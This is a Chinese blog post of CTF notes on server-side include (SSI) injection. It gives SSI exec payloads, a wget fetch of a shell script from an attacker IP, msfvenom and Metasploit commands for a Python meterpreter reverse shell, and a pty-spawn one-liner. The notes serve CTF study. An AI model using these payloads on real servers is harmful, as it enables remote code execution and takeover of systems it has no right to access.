ctf-web-SSI注入思路笔记

SSI注入攻击介绍

  • SSl(server side inject)的出现是为了赋予html静态页面动态的效果,通过ssi来执行系统命令,并返回对应的结果。
  • 如果在网站目录中发现了.stm,.shtm .shtml,并且网站对于ssL的输入没有做到严格过滤,很有可能被ssl注入攻击。

注入步骤

  1. 信息探测。

    1. image
    2. 发现开放HTTP服务,打开网页查找敏感文件,发现疑似存在命令注入漏洞
  2. 漏洞利用;

    1. 根据提示来利用对应sSL注入漏洞

      1. 列举当前目录中的文件和目录:<!--#exec cmd="Is" –>
      2. 切换到指定目录:<!--#exec cmd="cd /root/dirl">
      3. 下载shel脚本并重命名为shell.php:<!--#exec cmd="wget http://ip/shell.txt | rename shell.txt shell.php"—>
      4. 给shell赋予可执行权限::<!—#EXEC cmd="chmod 777 shell.py"—>
      5. 运行shell.py:<!—#EXEC cmd="python  shell.py"—>
    2. 制作WEBSHELL:

      1. php的SHELL:image
      2. python的shell
        1. 生成:msfvenom –p python/meterpreter/reverse_tcp lhost=本地IP lport=4444  -f raw > /root/Desktop/shell.py
        2. 启动监听:
          1. 打开msfconsole
          2. use exploit/multi/handler
          3. set payload  python/meterpreter/reverse_tcp
          4. show options
          5. set lhost  本地IP
          6. run
    3. 开启HTTP服务器:

      1. 移动shell.py到Apache的根目录下:mv shell.py /var/www/html
      2. 开启Apache :service apache2 start
      3. 查看开启状态:service apache2  status
    4. 执行2.1-根据提示来利用对应sSL注入漏洞,注入并执行shell,获得shell反弹

    5. 执行操作

      1. sysinfo查看系统信息
      2. shell进入系统shell
      3. 优化终端python -c'import pty;pty.spawn( "/bin/bash”)'
    6. image
  3. 总结:

    1. 当发现.stm,.shtm .shtml就要想到是否存在ssi注入漏洞,发现漏洞,找网站可以输入的地方,制作shell,启动msf的监听,通过网站可输入地方进行执行cmd命令,执行shell,获得反弹,测试执行,python优化终端显示,进入根目录,查看flag
posted @ 2020-09-01 09:54  Ycdtbest  阅读(460)  评论(0编辑  收藏  举报